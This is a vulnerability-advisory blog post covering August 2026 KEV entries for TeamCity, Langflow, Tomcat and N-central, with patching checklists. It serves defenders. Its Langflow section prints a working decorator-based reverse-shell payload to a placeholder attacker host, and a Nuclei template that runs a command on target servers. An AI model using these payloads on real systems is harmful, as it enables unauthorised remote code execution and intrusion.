CISA KEV Roundup: August 2026's Most Urgent Vulnerabilities

Every few weeks CISA updates its Known Exploited Vulnerabilities (KEV) catalog — the authoritative list of flaws confirmed to be exploited in the wild. The first week of August 2026 brought a particularly nasty batch: six CVEs across four vendors, all with three-day remediation deadlines under Binding Operational Directive 26-04. This post breaks down each one, explains why it matters, and outlines what to check on your estate today.

Why the KEV catalog matters

The KEV catalog is not a general vulnerability feed. Every entry has been confirmed as actively exploited — meaning threat actors are already using it. For U.S. federal agencies, BOD 26-04 mandates remediation within the listed due date (often as short as three weeks, sometimes shorter for critical issues). For everyone else, it is the single best signal for prioritising patch work above the noise of thousands of monthly CVEs.

The August 2026 entries

1. JetBrains TeamCity — CVE-2026-63077

Class: Deserialization of untrusted data (CWE-502) Impact: Unauthenticated remote code execution via the agent polling protocol Added: 2026-08-05 · Due: 2026-08-08

TeamCity is a popular CI/CD server, which makes this especially dangerous — CI/CD systems typically hold build credentials, deploy keys, and source code. An unauthenticated attacker who can reach the agent polling endpoint can craft a malicious serialized payload that, when deserialized by the server, executes arbitrary code.

The attack surface is the agent-to-server communication channel. Build agents register and poll for jobs over a protocol that historically accepted serialized Java objects without strict type filtering. An external attacker doesn't need valid agent credentials — just network reachability to the polling endpoint.

What to check:

• Is your TeamCity instance internet-exposed? If so, restrict it behind a VPN or allowlist immediately.
• Confirm you are running the vendor-patched version. JetBrains released a fix that tightens deserialization on the agent protocol.
• Rotate any build credentials and deploy keys that may have been accessible from the server, since pre-patch exploitation could have silently exfiltrated them.

2. IBM Langflow — CVE-2026-9198

Class: Code injection (CWE-94) Impact: Unauthenticated remote code execution on default deployments Added: 2026-08-04 · Due: 2026-08-07

Langflow is a visual builder for agentic AI workflows with over 50,000 GitHub stars. The vulnerability is a textbook example of why "code execution as a feature" tools need careful threat modelling. An unauthenticated API endpoint — /api/v1/validate/code — passes user input through Python's exec after only partial AST validation. The validation extracts import statements and function definitions, but it fails to account for the fact that Python decorators and default arguments are expressions that execute at definition time.

A payload like the one below lands a reverse shell on a default deployment with no credentials required:

# Illustrative — payload is sent as JSON to /api/v1/validate/code
@exec("import socket,os,pty;s=socket.socket();s.connect(('ATTACKER',9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('/bin/sh')")
def foo():
    pass

The decorator runs when the function is defined — before the foo body is ever called — so exec fires immediately. A second variant abuses default arguments the same way. The lesson here is broader than Langflow: any application that exposes exec or eval on user input, even behind AST parsing, is one Python semantic away from RCE.

What to check:

• Upgrade to Langflow 1.3.0 or later, which removes the vulnerable validation path.
• If you cannot upgrade immediately, block external access to /api/v1/validate/code at the reverse proxy.
• Review whether any Langflow instance is exposed to the internet. These should be internal-only by default.

3. Apache Tomcat — CVE-2026-34486

Class: Missing encryption of sensitive data (CWE-311) Impact: Bypass of the EncryptInterceptor Added: 2026-08-04 · Due: 2026-08-07

This one is subtle. Tomcat's EncryptInterceptor is an optional cluster component that encrypts traffic between Tomcat nodes. CVE-2026-34486 allows an attacker to bypass the encryption entirely under certain misconfigurations, exposing inter-node traffic in cleartext. The vulnerability is not direct RCE, but on a cluster carrying session tokens, internal API keys, or credentials between nodes, a network-positioned attacker can read and tamper with that traffic.

The flaw stems from incomplete validation of the interceptor's configuration state — in some edge cases the component silently falls back to unencrypted transport rather than failing closed.

What to check:

• If you run Tomcat clustering with EncryptInterceptor, confirm you are on the patched release.
• Verify cluster traffic is also network-segmented — encryption is defence-in-depth, not your only boundary.
• Review logs for any cluster node that may have negotiated unencrypted transport.

4. N-able N-central — CVE-2026-18556 and CVE-2026-18577

Class: Authentication bypass using an alternate path or channel (CWE-288) Impact: Authentication bypass and account takeover Added: 2026-08-03 and 2026-08-04 · Due: 2026-08-06 and 2026-08-07

N-central is an RMM (remote monitoring and management) platform used by MSPs to manage thousands of endpoints. An authentication bypass on an RMM is about as bad as it gets — compromise the management console and you effectively own every endpoint it manages.

Two CVEs were disclosed in rapid succession. The second (CVE-2026-18577) is an incomplete patch for the first (CVE-2026-18556). This is a pattern defenders should recognise: when a vendor patches an auth bypass, always re-test the alternate paths. Auth systems have many entry points — login forms, API tokens, SSO callbacks, session refresh flows — and a fix that closes one channel often leaves another open.

What to check:

• Confirm you are running the version that patches both CVEs, not just the first.
• Audit N-central user accounts for any new or modified administrators created since 2026-08-01.
• Restrict N-central console access to trusted IP ranges. If an MSP console is internet-exposed, treat it as a high-value target — because it is.

A detection snippet

If you run asset discovery across your estate, a quick Nuclei check for the Langflow vulnerability — the easiest of the batch to exploit remotely — looks like this:

id: CVE-2026-9198-langflow-rce
info:
  name: Langflow Unauthenticated RCE
  author: sbanerjee
  severity: critical
  tags: cve,rce,langflow,ai
 
requests:
  - raw:
      - |
        POST /api/v1/validate/code HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
 
        {"code": "@exec('raise Exception(__import__(\"subprocess\").check_output([\"id\"]))')\ndef foo():\n  pass"}
 
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "uid="
      - type: status
        status:
          - 200

Run it against any host exposing port 7860 (Langflow's default). A 200 with uid= in the response means the instance is vulnerable and already worth treating as compromised.

Closing thoughts

Three things stand out in this batch:

1. CI/CD and RMM are prime targets. TeamCity and N-central both sit on high-value credentials that unlock downstream systems. A single unpatched instance can cascade into a full estate compromise.
2. "Code execution as a feature" remains a recurring footgun. Langflow is the latest in a line of tools — Jupyter, Airflow, even IDEs — that expose eval/exec to users and then try to sandbox it with AST parsing. It rarely holds.
3. Incomplete patches are common. The N-central pair is a reminder that the first fix is not always the last. When an auth bypass is disclosed, keep testing alternate paths until the vendor confirms full coverage.

If you manage any of these products, the three-day BOD 26-04 window is real. Patch now, then verify the patch actually closes the path you were worried about.